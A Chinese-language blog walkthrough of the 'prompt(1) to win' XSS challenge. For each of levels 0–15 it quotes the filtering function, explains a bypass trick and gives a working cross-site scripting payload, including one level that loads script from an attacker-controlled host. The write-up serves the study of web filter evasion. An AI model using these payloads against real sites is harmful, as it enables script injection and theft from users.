prompt(1) to win 记录

日常挖坑,学一学xss

0

1
2
3
4
5
function escape(input) {
// warm up
// script should be executed without user interaction
return '<input type="text" value="' + input + '">';
}

没有任何过滤,直接闭合标签就可以了

payload:"><script>prompt(1)</script><"

1

1
2
3
4
5
6
7
8
function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');

return '<article>' + input + '</article>';
}

从这关开始有了过滤,看一下正则,匹配了闭合标签,可以用自闭合标签

payload:<img src='a' onerror="prompt(1)"

2

1
2
3
4
5
6
7
function escape(input) {
// v-- frowny face
input = input.replace(/[=(]/g, '');

// ok seriously, disallows equal signs and open parenthesis
return input;
}

正则过滤了=和(,这里涉及到解析顺序的问题,具体可以参考这一篇

payload:<svg><script>prompt&#40 1&#41 </script></svg>

3

1
2
3
4
5
6
7
function escape(input) {
// filter potential comment end delimiters
input = input.replace(/->/g, '_');

// comment the input to avoid script execution
return '<!-- ' + input + ' -->';
}

正则过滤了-->的注释方法,但html有两种注释方法

  • <!-- xxx -->
  • <!- xxx -!> <!— 以!开头,以!结尾对称注释的方式 —!>

payload:--!><script>prompt(1)</script>

4

1
2
3
4
5
6
7
8
9
10
11
function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}

这道题限制了在prompt.ml下加载js文件,利用到了一个小知识

scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]

所以可以通过@符号来让前边的prompt.ml被识别为访问凭证,去访问恶意的网站,加载js

但是http://user:password/@attacker.com这样是不被允许的,好在这道题还有decodeURIComponent(input),可以使用编码绕过

payload:http://prompt.ml%[email protected]

恶意js:<script>prompt(1)</script>

5

1
2
3
4
5
6
7
function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');

return '<input value="' + input + '" type="text">';
}

正则过滤了>,focus,onerror=等,但是正则表达式并没有匹配多行(//m),而html中,属性描述不在同一行并不影响解析,因此可以通过换行来绕过一些过滤

还有一个知识点就是后边的type不会覆盖前边的type

payload:

“ type=image src onerror
=”prompt(1)

6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);

var form = document.createElement('form');
form.action = formURL;
form.method = 'post';

for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}

return form.outerHTML + ' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\
if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.") \n\
</script> \n\
';
} catch (e) {
return 'Invalid form data.';
}
}

题目实现了一个构造表单,我们需要输入的格式是url#jsondata,先随便输点东西,发现返回的代码如下

1
2
3
4
5
6
7
8
<form action="http://httpbin.org/post" method="post"><input name="name" value="Matt"></form>                         
<script>
// forbid javascript: or vbscript: and data: stuff
if (!/script:|data:/i.test(document.forms[0].action))
document.forms[0].submit();
else
document.write("Action forbidden.")
</script>

可以看到正则过滤了script和data协议,但是神奇的是,action有这样的一个特性,如果前后都有action,访问action标签时访问的是后面的action的值,所以我们可以将jsondata写成action就好了

payload:javascript:prompt(1)#{"action":1}

7

1
2
3
4
5
6
7
8
function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
}).join('\n');
}

代码限制了长度,但是通过#来分割输入,就给了我们机会,可以通过加注释的操作来实现代码拼接

payload:"><script>/*#*/prompt(/*#*/1)/*#*/</script>

8

1
2
3
4
5
6
7
8
9
10
function escape(input) {
// prevent input from getting out of comment
// strip off line-breaks and stuff
input = input.replace(/[\r\n</"]/g, '');

return ' \n\
<script> \n\
// console.log("' + input + '"); \n\
</script> ';
}

过滤了换行符,整个输出在注释中,所以我们要做的就是换行从注释中逃逸出来

这里又用到了一个知识点

U+2028,是Unicode中的行分隔符

U+2029,是Unicode中的段落分隔符

这样就可以通过unicode来换行

payload:'\u2028prompt(1)\u2028-->'

ps:先把payload放到chrome的console中运行,将得到的结果当作payload就可以了

9

1
2
3
4
5
6
7
8
9
function escape(input) {
// filter potential start-tags
input = input.replace(/<([a-zA-Z])/g, '<_$1');
// use all-caps for heading
input = input.toUpperCase();

// sample input: you shall not pass! => YOU SHALL NOT PASS!
return '<h1>' + input + '</h1>';
}

将输入全部转为大写了,而且在script前加了_,看样子没有办法直接搞了

这里又用到了一个知识点,toUpperCase()可以转换一些unicode字符,字符ſ经过函数toUpperCase()处理后,会变成ASCII码字符”S”

payload:< ſcript/ ſrc="yourjs"></ ſcript>

10

1
2
3
4
5
6
7
8
9
function escape(input) {
// (╯°□°)╯︵ ┻━┻
input = encodeURIComponent(input).replace(/prompt/g, 'alert');
// ┬──┬ ノ( ゜-゜ノ) chill out bro
input = input.replace(/'/g, '');

// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
return '<script>' + input + '</script> ';
}

两个正则,第一个是将prompt替换为alert,第二个是将'替换为空,所以直接打就完事了

payload:prom'pt(1)

11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function escape(input) {
// name should not contain special characters
var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');

// data to be parsed as JSON
var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';

// directly "parse" data in script context
return ' \n\
<script> \n\
var data = ' + dataString + '; \n\
if (data.action === "login") \n\
document.write(data.message) \n\
</script> ';
}

正则过滤了各种符号,但是双引号还可以用,也可以使用in操作符

这里的知识点是例如'a'(prompt(1))in'b'虽然会报语法错误,但是实际上已经执行了

payload:"(prompt(1))in"

12

1
2
3
4
5
6
7
8
9
function escape(input) {
// in Soviet Russia...
input = encodeURIComponent(input).replace(/'/g, '');
// table flips you!
input = input.replace(/prompt/g, 'alert');

// ノ┬─┬ノ ︵ ( \o°o)\
return '<script>' + input + '</script> ';
}

这里可以用数字来代替,toString即可

payload:eval((1558153217).toString(36))(1)

13

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 function escape(input) {
// extend method from Underscore library
// _.extend(destination, *sources)
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;
}
// a simple picture plugin
try {
// pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
var data = JSON.parse(input);
var config = extend({
// default image source
source: 'http://placehold.it/350x150'
}, JSON.parse(input));
// forbit invalid image source
if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
}
// purify the source by stripping off "
var source = config.source.replace(/"/g, '');
// insert the content using mustache-ish template
return '<img src="{{source}}">'.replace('{{source}}', source);
} catch (e) {
return 'Invalid image data.';
}
}

代码比较长,我们来一步一步分析

关键函数extend以及利用的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;
}

var config = extend({
// default image source
source: 'http://placehold.it/350x150'
}, JSON.parse(input));
if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
}

可以看到存在赋值的操作obj[prop] = source[prop],同时键名可控,传入之前还有一步JSON.parse,不难想到原型链污染

再看利用方式,如果config.source不满足条件的话,会被直接删除,当我们访问对象的属性时,如果对象内部不存在这个属性,那么就会去__proto__里面找这个属性

由此,基础的payload思路为:{"source":"0"," __proto__":{"source":"onerror=prompt(1)"}}

但是这还没完,后边还有一步

1
var source = config.source.replace(/"/g, '');

没有双引号了,很难逃逸,这里又用到了一个小知识点

Pattern Inserts
$$ Inserts a “$”.
$& Inserts the matched substring.
$` Inserts the portion of the string that precedes the matched substring.
$’ Inserts the portion of the string that follows the matched substring.
$n Where n is a positive integer less than 100, inserts the nth parenthesized submatch string, provided the first argument was a RegExpobject. Note that this is 1-indexed.

说实话,并不知道这原理是啥,但是这些特殊参数的用法真的神奇,大致结果如下

1
2
3
4
5
6
7
8
>'11223344'.replace('2',"test")
"11test23344"
>'11223344'.replace('2',"$`test")
"1111test23344"
>'11223344'.replace('2',"$'test")
"1123344test23344"
>'11223344'.replace('2',"$&test")
"112test23344"

所以根据这个很容易得到payload:{"source":{},"__proto__":{"source":"$`onerror=prompt(1)>"}}

14

1
2
3
4
5
6
7
8
9
10
11
12
13
function escape(input) {
// I expect this one will have other solutions, so be creative :)
// mspaint makes all file names in all-caps :(
// too lazy to convert them back in lower case
// sample input: prompt.jpg => PROMPT.JPG
input = input.toUpperCase();
// only allows images loaded from own host or data URI scheme
input = input.replace(/\/\/|\w+:/g, 'data:');
// miscellaneous filtering
input = input.replace(/[\\&+%\s]|vbs/gi, '_');

return '<img src="' + input + '">';
}

看下功能,首先将输入转为大写字母,然后把//和任意字母替换成data:,还限制了编码绕过

这道题看了官方的wp也没有复现出来,可能是有什么问题吧

15

1
2
3
4
5
6
7
8
9
10
11
function escape(input) {
// sort of spoiler of level 7
input = input.replace(/\*/g, '');
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');

return segments.map(function(title, index) {
// title can only contain 15 characters
return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
}).join('\n');
}

和之前的题类似,不过过滤了注释而且长度限制了15,但是不要紧,我们还可以svg标签,并在标签里用html的注释

payload:"><svg><!--#--><script><!--#-->prompt(1)</

参考资料

https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml

https://xz.aliyun.com/t/4507

https://lorexxar.cn/2015/07/02/xss-p/

0%